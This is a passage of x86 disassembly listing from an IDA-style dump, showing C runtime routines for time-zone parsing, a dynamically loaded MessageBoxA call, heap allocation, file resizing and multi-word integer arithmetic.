		call	near ptr 2790BDDh
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2A607E7h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2790B72h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC10, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC10

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB58, ebp
		mov	dword_43D400, ebx
		mov	dword_43D3F0, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB60
		nop
		call	near ptr 2A20000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB60
		mov	ecx, dword_4DBBB4
		imul	eax, 3Ch
		cmp	word_4DBBA6, bp
		push	1
		pop	edx
		mov	dword_43D358, eax
		mov	dword_4DBB58, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D358, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBBFA, bp
		jz	short loc_424887
		mov	eax, dword_4DBC08
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D35C, edx
		imul	eax, 3Ch
		mov	dword_43D360, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D35C, ebp
		mov	dword_43D360, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D3E4
		push	ebx
		push	offset dword_4DBB64
		push	edi
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D3E4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D3E4
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D3E8
		push	ebx
		push	offset dword_4DBBB8
		push	edi
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D3E8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC0C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC0C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC0C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D3E4
		call	sub_41B5F0
		mov	eax, off_43D3E4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D358, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D358
		add	ecx, eax
		mov	dword_43D358, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D358
		add	ecx, eax
		mov	dword_43D358, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D358, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D35C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D3E8
		call	sub_41B5F0
		mov	eax, off_43D3E8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D3E8
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D35C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D3F0
		jnz	short loc_424A7C
		cmp	eax, dword_43D400
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB58, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC06
		push	ecx
		cmp	word_4DBBF8, di
		movzx	ecx, word_4DBC04
		push	ecx
		movzx	ecx, word_4DBC02
		push	ecx
		movzx	ecx, word_4DBC00
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBBFC
		push	edi
		push	ecx
		movzx	ecx, word_4DBBFE
		push	ecx
		movzx	ecx, word_4DBBFA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBBFE
		push	ecx
		push	edi
		movzx	ecx, word_4DBBFA
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBB2
		add	esp, 2Ch
		cmp	word_4DBBA4, di
		push	eax
		movzx	eax, word_4DBBB0
		push	eax
		movzx	eax, word_4DBBAE
		push	eax
		movzx	eax, word_4DBBAC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBA8
		push	edi
		push	eax
		movzx	eax, word_4DBBAA
		push	eax
		movzx	eax, word_4DBBA6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBAA
		push	eax
		push	edi
		movzx	eax, word_4DBBA6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D3F4
		mov	eax, dword_43D404
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D3F8
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D408
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D408[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D43C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D40C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D440[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D408[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D43C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D3F4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D3F0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D3F8, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D404, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D360
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D408, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D408, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D408, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D404, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D400, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEA1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9B2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC14, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2850000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC14, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC18, eax
		call	esi
		mov	dword_4DBC1C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC18
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC1C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC14


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFC0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9A4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFC4
		nop
		call	near ptr 2960000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9AC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC60, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC48
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC48
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC60
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCD80
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB92C, 5
		jnz	short loc_424FDC
		mov	dword_4DB928, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 2790000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB928, 0Dh
		nop
		call	near ptr 2830047h
		mov	dword_4DB92C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB928, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
